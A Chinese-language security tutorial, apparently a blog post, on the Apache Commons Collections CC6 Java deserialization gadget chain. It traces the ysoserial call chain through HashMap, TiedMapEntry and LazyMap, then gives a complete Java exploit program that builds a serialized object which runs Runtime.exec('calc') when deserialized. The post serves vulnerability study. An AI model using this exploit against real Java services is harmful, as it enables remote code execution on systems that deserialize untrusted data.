CC6
具体调用流程

这里给出ysoserial里的利用链
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
CC6链分析

从流程图看CC6链前两步与CC1(LazyMap)不同
所以我们从第二步进行分析,看TiedMapEntry.hashCode如何调用LazyMap.get方法
- 查看
TieMapEntry类源码, 发现getValue方法调用.get()方法

继续搜索是否存在调用getValue()的方法,发现hashCode()调用getValue方法

- 现在我们要找有
hashCode且有readObject方法的类当链首
搜索发现HashMap符合要求, 其中hash方法调用key.hashCode

- 接着查找
HashMap中谁调用了hash(), 我们发现其中多个方法都调用了hash方法
- 任选其一即可, 我这里选择的是
remove方法

现在只是理清了链子的调用关系, 需要用反射将lazyMap和ChainedTransformer链接在一起
连接代码
1 2 3 4
| Class<?> c = LazyMap.class; Field field = c.getDeclaredField("factory"); field.setAccessible(true); field.set(lazymap,chainedTransformer);
|
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
import static org.apache.commons.collections.TransformerUtils.chainedTransformer;
public class CC6Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");0
HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb"); lazymap.remove("aaa");
Class<?> c = LazyMap.class; Field field = c.getDeclaredField("factory"); field.setAccessible(true); field.set(lazymap,chainedTransformer);
Serialize(map2); Unserialize("ser.bin"); }
public static void Serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj);
}
public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename)); return objectInputStream.readObject();
}
public String toString() { return "CC6Test{}"; } }
|
